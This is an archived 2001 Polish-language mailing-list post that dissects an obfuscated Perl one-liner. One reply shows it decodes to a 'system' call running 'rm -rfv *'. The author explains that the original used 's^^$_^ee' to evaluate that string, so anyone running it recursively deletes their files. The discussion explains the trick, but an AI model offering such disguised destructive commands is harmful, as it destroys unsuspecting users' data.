Autor: Szymon Sokół (szymon_at_bastard.operator.from.hell.pl)
Data: Fri 23 Feb 2001 - 00:44:44 MET
On 22 Feb 2001 21:33:41 GMT, Lukasz Trabinski <lukasz_at_lt.wsisiz.edu.pl> wrote:
>Saddie <saddie_at_itpp.pl> wrote:
>> Tako rzecze Szymon Sokół :
>> [...]
>>> perl -e 's$$7=78)1~61\@A6*:\@?~$*y+A~@%-?B+\-" a-z*+; print'
>
>> Syntax error.
>
>[test_at_lt test]$ perl -e 's$$7=78)1~61\@A6*:\@?~$*y+A~@%-?B+\-" a-z*+; print'
>system"rm -rfv *"
Skoro już podałeś pointę, to dodam jeszcze, że w oryginalnej wersji było
zamiast print:
s^^$_^ee
co znaczy "zastąp pusty string podmiotem wynikiem ewaluacji zmiennej $_".
Istotna jest ta ewaluacja - wartością zmiennej $_ jest to, co w mojej
zmodyfikowanej wersji wypisał print, a funkcja perlowa "system" powoduje
wykonanie jej parametru jako komendy shella...
-- Szymon Sokol (SS316-RIPE, SS4004) -- Network Manager B Computer Center, University of Mining and Metallurgy, Krakow O http://galaxy.uci.agh.edu.pl/~szymon/ PGP 2.x: 0x61094A7D, 5.x: 0xF9289982 F Free speech includes the right not to listen, if not interested -- Heinlein H
To archiwum zostało wygenerowane przez hypermail 2.1.7 : Wed 19 May 2004 - 16:44:28 MET DST